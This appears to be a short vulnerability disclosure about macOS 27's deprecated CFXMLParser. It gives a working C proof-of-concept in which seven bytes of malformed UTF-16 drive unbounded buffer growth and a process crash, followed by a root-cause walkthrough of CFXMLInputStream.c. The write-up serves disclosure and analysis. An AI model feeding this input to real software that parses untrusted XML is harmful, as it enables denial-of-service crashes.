2026-09-25
While deprecated, CFXMLParser is still in macOS 27, and dies on seven bytes. Consider this code:
#include <CoreFoundation/CoreFoundation.h>
#include <CoreFoundation/CFXMLParser.h>
int main(void) {
// "<a>" in UTF-16 LE + a single dangling byte
const UInt8 bytes[] = {'<', 0, 'a', 0, '>', 0, 'X'};
CFDataRef data = CFDataCreate(NULL, bytes, sizeof bytes);
CFXMLTreeRef tree = CFXMLTreeCreateFromData(
NULL, data, NULL, kCFXMLParserSkipWhitespace,
kCFXMLNodeCurrentVersion);
if (tree) CFRelease(tree);
CFRelease(data);
return 0;
}
Compile with clang -framework CoreFoundation poc.c -o poc, then run ./poc. On macOS 27.0 (26A428, arm64), the process throws the following exception:
*** Terminating app due to uncaught exception 'NSMallocException',
reason: 'Failed to grow buffer to 70368744177664'
6. CoreFoundation growCharacterBuffer CFXMLInputStream.c
5. CoreFoundation getCharacterGuts CFXMLInputStream.c
4. CoreFoundation _inputStreamSkipWhitespace CFXMLInputStream.c
3. CoreFoundation parseTagContent CFXMLParser.c
2. CoreFoundation CFXMLParserParse CFXMLParser.c
1. CoreFoundation CFXMLTreeCreateFromDataWithError CFXMLParser.c
The whole bug is a confusion between bytes left versus UTF-16 characters left. The result is repeated buffer doubling until allocation fails, and a local process crash if the exception is uncaught.
The behavior is explained by the published CFXMLInputStream.c, called by CFXMLParser.c (the sources predate macOS 27).
Reading the last frames before the crash:
(4) _inputStreamSkipWhitespace requests the next character while a mark is set
(5) At byte offset 6 of 7, getCharacterGuts evaluates (6 >= 7) as false and doesn't report EOF. It then calls fillCharacterBuffer which calls loadCharacters which computes (7 - 6) / sizeof(UniChar) = 1 / 2 = 0 complete characters and leaves the byte cursor at 6. fillCharacterBuffer treats the empty read as a need for more space and grows the buffer using growCharacterBuffer. The parser retries with the same byte unread.
(6) growCharacterBuffer doubles the buffer on each retry until an allocation request fails and CoreFoundation raises NSMallocException.
I'm not aware of an exposed path in an existing app.